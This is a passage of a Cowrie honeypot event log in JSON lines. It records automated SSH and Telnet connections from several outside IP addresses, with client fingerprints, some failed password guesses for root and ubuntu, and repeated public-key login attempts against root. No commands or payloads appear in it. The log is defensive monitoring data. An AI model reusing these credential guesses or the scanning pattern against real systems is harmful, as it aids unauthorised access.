01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:32.730782Z","src_ip":"80.94.92.184","session":"9bb3bcb7f72d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:33.529732Z","src_ip":"80.94.92.184","session":"9bb3bcb7f72d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":39762,"dst_ip":"10.17.0.5","dst_port":22,"session":"23bedddcc645","protocol":"ssh","message":"New connection: 147.45.211.215:39762 (10.17.0.5:22) [session: 23bedddcc645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:34.353699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:34.369994Z","src_ip":"147.45.211.215","session":"23bedddcc645","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:34.544438Z","src_ip":"147.45.211.215","session":"23bedddcc645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:34.639582Z","src_ip":"80.94.92.184","session":"9bb3bcb7f72d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"27111992","message":"login attempt [root/27111992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:35.069258Z","src_ip":"147.45.211.215","session":"23bedddcc645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:36.254011Z","src_ip":"147.45.211.215","session":"23bedddcc645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49122,"dst_ip":"159.203.135.109","dst_port":23,"session":"eac426bcafb7","protocol":"telnet","message":"New connection: 128.199.8.54:49122 (159.203.135.109:23) [session: eac426bcafb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:55.663244Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.217.74.127","src_port":60338,"dst_ip":"10.17.0.5","dst_port":22,"session":"edce798025fc","protocol":"ssh","message":"New connection: 144.217.74.127:60338 (10.17.0.5:22) [session: edce798025fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:59.237018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:59.241426Z","src_ip":"144.217.74.127","session":"edce798025fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:59.263086Z","src_ip":"144.217.74.127","session":"edce798025fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:db:f6:83:85:ba:4a:e9:d0:9d:e2:fb:b0:65:20:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDLA2VyqK+e47YqsKk+8xjqBiVDgUuLy3zEEgQ6pvhtyEqL0zlo7O7vFkXYymYJpGcemPAHG7BiIkUk4UKN7zWhpiVttao3U3A5ddYDBNXs9ymJGQZ4DK0G6pVJWGJtySzuSDzIJ+U2K7Ipx+LBy79j3qu7W7xUlx17RAFGZZP8VPxEleT16l8LD5plBqsbPiCHYbDzQoU5b8I4BOZWYAiETp5CU8f7KNtqE0aV2CpR0hDKgAm8v8U5240VRQBZuOfCdfDXBZttWGX40xyX/sqUfU82I9VxXqfbZDFIIz9uNd5V+kRR7WwU76/BkoQZeuA0xRWbThw252IGFNSiuWL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:db:f6:83:85:ba:4a:e9:d0:9d:e2:fb:b0:65:20:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:59.344696Z","src_ip":"144.217.74.127","session":"edce798025fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:db:f6:83:85:ba:4a:e9:d0:9d:e2:fb:b0:65:20:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDLA2VyqK+e47YqsKk+8xjqBiVDgUuLy3zEEgQ6pvhtyEqL0zlo7O7vFkXYymYJpGcemPAHG7BiIkUk4UKN7zWhpiVttao3U3A5ddYDBNXs9ymJGQZ4DK0G6pVJWGJtySzuSDzIJ+U2K7Ipx+LBy79j3qu7W7xUlx17RAFGZZP8VPxEleT16l8LD5plBqsbPiCHYbDzQoU5b8I4BOZWYAiETp5CU8f7KNtqE0aV2CpR0hDKgAm8v8U5240VRQBZuOfCdfDXBZttWGX40xyX/sqUfU82I9VxXqfbZDFIIz9uNd5V+kRR7WwU76/BkoQZeuA0xRWbThw252IGFNSiuWL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:59.348465Z","src_ip":"144.217.74.127","session":"edce798025fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:e4:a5:13:bf:af:a4:9f:06:90:75:74:a2:5e:26:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx4epXZoO2LeUfywUGDHhPfOXF2DtCe4dqct7VibJtFK6c7j9umAh4lD3RmBl+7Sh4LbdepibOA2MFMOrxrNWFgvKZY2Yj3X72B6H9X7lJ90RRRWGdFW6Vc99MwEuWNtBKFZLi9QFRp2FiRNxX0I4p9jS7jjm3U8ILyaIU4VtL2diOIF0sTomnxQkoMiy7X6+kFBrT4WWFLvTj4KSEkeb8wWa2jJL/ktgP7vz6pC4gcvStJx4L1lwjvnJRUGNR+5yIIKpz5wV+oyjAMxQNJrUrOP4qMCRPMvCMzSwBqhcgVSbG94UU4e6/Wn3uaOfhjR9OxQI0coeVLHTYVzA3Y8gLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:e4:a5:13:bf:af:a4:9f:06:90:75:74:a2:5e:26:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:59.371119Z","src_ip":"144.217.74.127","session":"edce798025fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:e4:a5:13:bf:af:a4:9f:06:90:75:74:a2:5e:26:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx4epXZoO2LeUfywUGDHhPfOXF2DtCe4dqct7VibJtFK6c7j9umAh4lD3RmBl+7Sh4LbdepibOA2MFMOrxrNWFgvKZY2Yj3X72B6H9X7lJ90RRRWGdFW6Vc99MwEuWNtBKFZLi9QFRp2FiRNxX0I4p9jS7jjm3U8ILyaIU4VtL2diOIF0sTomnxQkoMiy7X6+kFBrT4WWFLvTj4KSEkeb8wWa2jJL/ktgP7vz6pC4gcvStJx4L1lwjvnJRUGNR+5yIIKpz5wV+oyjAMxQNJrUrOP4qMCRPMvCMzSwBqhcgVSbG94UU4e6/Wn3uaOfhjR9OxQI0coeVLHTYVzA3Y8gLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:59.374228Z","src_ip":"144.217.74.127","session":"edce798025fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:4b:c3:44:0d:cf:d7:5e:73:bc:2d:38:15:3f:96:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdJWrCu72pQW15QFP1XqT+f+BqfN4XssF0vcRnVvZyZRlk5H/ljtMdtkthZky8PosMFxeKPIsiU2/VoERSCvpLxNYdcf00fl46zWUH+zB6StHvkGWor0nVSFbXCqyQS346DG4RFc7FpdWt6BYCiw87NTpPBqBBo8Szkpm8GyzyBVMCw6WhHwBqKvwH1PbGSAgWPZ80X84QJOqgC86nfgcQrrcuNb8yHcxjp36ejEB8Uc2Ruc/flxP1+xyXvv0CLUDgGUJDFiBBKBhVRO7GgpuwF1wpxpdEA4ukD3YmbVfibOz3QL2eHyBINjjv876Os9AIVln7oa1DXxc/IanDFRVTAkvEIAU8xNUxqjnBMp3bKxt7Tc4uULZ5NVe3g4LbNyqTMLfZjKsUShjuvG7Bb0D3g4dRQLHQSc4JyDIGdiv74fY6Cl/7oZeysTC/6ppiwusgpB58/1buVTIb0NhQjVr78pqhe7EtzjVdHgOhcdlwrjRyMOgkJ8fHdJOvwJvrbeNLEZFHG4567h+yUKL28pR1XT2xQUtBybX3LqY6GO2Q47Wr5HXkELXxoPMPNKqGwWiwvNDQQgaCNDjmAjFmtz2LXAISoJVjpHD9WVLvr8VOdFYWmoUmH8cv546rMlvbGThMsKP0m7JZGBywDwIztxZd8TFJYcsZLwU2rJFc8sXk8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:4b:c3:44:0d:cf:d7:5e:73:bc:2d:38:15:3f:96:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:59.396589Z","src_ip":"144.217.74.127","session":"edce798025fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:4b:c3:44:0d:cf:d7:5e:73:bc:2d:38:15:3f:96:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdJWrCu72pQW15QFP1XqT+f+BqfN4XssF0vcRnVvZyZRlk5H/ljtMdtkthZky8PosMFxeKPIsiU2/VoERSCvpLxNYdcf00fl46zWUH+zB6StHvkGWor0nVSFbXCqyQS346DG4RFc7FpdWt6BYCiw87NTpPBqBBo8Szkpm8GyzyBVMCw6WhHwBqKvwH1PbGSAgWPZ80X84QJOqgC86nfgcQrrcuNb8yHcxjp36ejEB8Uc2Ruc/flxP1+xyXvv0CLUDgGUJDFiBBKBhVRO7GgpuwF1wpxpdEA4ukD3YmbVfibOz3QL2eHyBINjjv876Os9AIVln7oa1DXxc/IanDFRVTAkvEIAU8xNUxqjnBMp3bKxt7Tc4uULZ5NVe3g4LbNyqTMLfZjKsUShjuvG7Bb0D3g4dRQLHQSc4JyDIGdiv74fY6Cl/7oZeysTC/6ppiwusgpB58/1buVTIb0NhQjVr78pqhe7EtzjVdHgOhcdlwrjRyMOgkJ8fHdJOvwJvrbeNLEZFHG4567h+yUKL28pR1XT2xQUtBybX3LqY6GO2Q47Wr5HXkELXxoPMPNKqGwWiwvNDQQgaCNDjmAjFmtz2LXAISoJVjpHD9WVLvr8VOdFYWmoUmH8cv546rMlvbGThMsKP0m7JZGBywDwIztxZd8TFJYcsZLwU2rJFc8sXk8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:59.399997Z","src_ip":"144.217.74.127","session":"edce798025fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:26:df:85:2d:c6:ca:f8:2a:d8:a2:71:ee:d5:21:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrHtPEfcIZIkrzb07EurbPc98oiqRmO+spXWBhdHORJSljLaX3fFEc7R0ADGNtjlxMePaYBhnKXhF1I1RVblP7IBQobc5JkyPTzeri+ycWMZolcwuc2x7vIl2rlYvBTBSeqiuecltt3IXv1osZdb+XXrzwdyA+hrq/51kSdbC7o/sojnn8QejZNovp2AcvQYOOEus+IVobhzRmi8Hlm5i8HYkW9B85S4LEFu/wEsOk2aKNrVNR+OBCMwQNqKoNfLkPGp4nl8WHGJYcUSwcrGY2VX5jKOWBtNZn1ORIPWez+seBdn94zFZbfBJQQZjXPUCGCwdA+ZGTkb+KfFDWEbRn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:26:df:85:2d:c6:ca:f8:2a:d8:a2:71:ee:d5:21:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:59.423449Z","src_ip":"144.217.74.127","session":"edce798025fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:26:df:85:2d:c6:ca:f8:2a:d8:a2:71:ee:d5:21:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrHtPEfcIZIkrzb07EurbPc98oiqRmO+spXWBhdHORJSljLaX3fFEc7R0ADGNtjlxMePaYBhnKXhF1I1RVblP7IBQobc5JkyPTzeri+ycWMZolcwuc2x7vIl2rlYvBTBSeqiuecltt3IXv1osZdb+XXrzwdyA+hrq/51kSdbC7o/sojnn8QejZNovp2AcvQYOOEus+IVobhzRmi8Hlm5i8HYkW9B85S4LEFu/wEsOk2aKNrVNR+OBCMwQNqKoNfLkPGp4nl8WHGJYcUSwcrGY2VX5jKOWBtNZn1ORIPWez+seBdn94zFZbfBJQQZjXPUCGCwdA+ZGTkb+KfFDWEbRn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:59.429086Z","src_ip":"144.217.74.127","session":"edce798025fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:37:f1:8d:74:01:31:34:0e:1d:29:2f:de:01:b9:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6B5SUDiFld/7WVY5b8wgU2c9ftVvRzr0AyH0iHdPt5YSj1W+cATWvM9GDNrktZN1/Xpo/FsifgMBmpBBnHwiMydbP3Lp/eHQmf8q71A+W/fc6d5Uhyzg+I5oqd0k/gdp/gGii4VLyLysbbTxVQNiGTx9otolTeiE/ehFTRuE4hXBDtFhHgKZP2Ys7BVNiXbvO6LcKbTP+dZnzRtJjDw9ID1u76sTPOiymKmqpZDEqdfj74+wwb+icR//4HgQ6Lj1hP4wCWsn9t3GAzus7FgaOwodgbVS3NBLOjncvOP3KfhS2F5MziV5wQOF+MER0C6h+pDlLSqBAsvv/Frxvhe6lZXlq7S3wv9Mn6P//rjy4N8L42qM6EgY5h9T3HgR1qCDFvSwcaodJLfwAHHN3f1rFWAIJANj1nUGhgPphDKvVetdAT5CLLCg4bwwCFDEmOZYOexcGRFjWrR9CybrmItCJa68EUJp4IXTzP+gZYaFIkSGH3onVc6qL2lWbQcHT+LhwrtCygKHzUucd5+Gih9SPTKFuPRWwNX2P5aQxJxlDUMOwVcd0+zsWN5SaZSAlx7i+6w85kWUMWTQlwwlYORMXVS5qjij9CJ4qTvT0Z3BA42E5R9INIZp3drl2sAhids8EdL84j63Na3+ttJUBnEzyhBYst7mY3dp0lqTHptNRbQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:37:f1:8d:74:01:31:34:0e:1d:29:2f:de:01:b9:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:59.451709Z","src_ip":"144.217.74.127","session":"edce798025fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:37:f1:8d:74:01:31:34:0e:1d:29:2f:de:01:b9:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6B5SUDiFld/7WVY5b8wgU2c9ftVvRzr0AyH0iHdPt5YSj1W+cATWvM9GDNrktZN1/Xpo/FsifgMBmpBBnHwiMydbP3Lp/eHQmf8q71A+W/fc6d5Uhyzg+I5oqd0k/gdp/gGii4VLyLysbbTxVQNiGTx9otolTeiE/ehFTRuE4hXBDtFhHgKZP2Ys7BVNiXbvO6LcKbTP+dZnzRtJjDw9ID1u76sTPOiymKmqpZDEqdfj74+wwb+icR//4HgQ6Lj1hP4wCWsn9t3GAzus7FgaOwodgbVS3NBLOjncvOP3KfhS2F5MziV5wQOF+MER0C6h+pDlLSqBAsvv/Frxvhe6lZXlq7S3wv9Mn6P//rjy4N8L42qM6EgY5h9T3HgR1qCDFvSwcaodJLfwAHHN3f1rFWAIJANj1nUGhgPphDKvVetdAT5CLLCg4bwwCFDEmOZYOexcGRFjWrR9CybrmItCJa68EUJp4IXTzP+gZYaFIkSGH3onVc6qL2lWbQcHT+LhwrtCygKHzUucd5+Gih9SPTKFuPRWwNX2P5aQxJxlDUMOwVcd0+zsWN5SaZSAlx7i+6w85kWUMWTQlwwlYORMXVS5qjij9CJ4qTvT0Z3BA42E5R9INIZp3drl2sAhids8EdL84j63Na3+ttJUBnEzyhBYst7mY3dp0lqTHptNRbQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:59.455348Z","src_ip":"144.217.74.127","session":"edce798025fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:59.477770Z","src_ip":"144.217.74.127","session":"edce798025fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":34157,"dst_ip":"10.17.0.5","dst_port":22,"session":"b54d5d504a2d","protocol":"ssh","message":"New connection: 103.248.120.6:34157 (10.17.0.5:22) [session: b54d5d504a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:06.290862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:06.294780Z","src_ip":"103.248.120.6","session":"b54d5d504a2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:06.519614Z","src_ip":"103.248.120.6","session":"b54d5d504a2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":40550,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba836c02c71f","protocol":"ssh","message":"New connection: 190.128.201.18:40550 (159.203.135.109:22) [session: ba836c02c71f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:06.655143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:06.659537Z","src_ip":"190.128.201.18","session":"ba836c02c71f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:06.797910Z","src_ip":"190.128.201.18","session":"ba836c02c71f","protocol":"ssh"}
